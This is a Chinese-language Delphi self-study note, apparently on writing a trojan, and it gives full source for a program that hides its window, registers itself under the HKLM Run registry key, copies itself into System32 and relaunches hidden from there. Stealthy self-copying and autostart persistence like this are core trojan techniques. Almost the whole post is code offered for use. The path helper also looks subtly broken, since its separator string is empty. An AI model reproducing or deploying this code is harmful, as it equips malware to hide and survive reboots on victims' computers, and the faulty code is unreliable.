delphi 之***自身複製加開機啓動項『dephi自學筆記』

                                     delphi 之***自身複製加開機啓動項


interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, Registry, StdCtrls;

type
  TForm1 = class(TForm)
  procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

function GetWinDir: String;        //定義獲取system32目錄的方法。
var
Buf: array[0..MAX_PATH] of char;
begin
GetSystemDirectory(Buf, MAX_PATH);
Result := Buf;
if Result[Length(Result)]<>'' then Result := Result + '';
end;
{$R *.dfm}

procedure TForm1.FormCreate(Sender: TObject);
var myname: string;
    AuToRun :TRegistry;
begin
  Form1.Hide;
  Application.ShowMainForm := False;      //這兩句是爲了讓程序運行不顯示窗口。
  AuToRun := TRegistry.Create;
  with AuToRun do
  Try
    RootKey := HKEY_LOCAL_MACHINE;
    if OpenKey('SOFTWARE\MicroSoft\Windows\CurrentVersion\Run',false) then
    AuToRun.WriteString(extractfilename(application.ExeName),application.ExeName);
  Finally
  AuToRun.Free;
  end; //增加開機啓動項

myname := ExtractFilename(Application.Exename); //獲得文件名
if application.Exename <> GetWindir + myname then //如果文件不是在Windows\System32\那麼..
begin
copyfile(pchar(application.Exename), pchar(GetWindir + myname), False);{將自己拷貝到Windows\System32\下}
Winexec(pchar(GetWindir + myname), sw_hide); //運行Windows\System32\下的新文件
end;
end;

end. 

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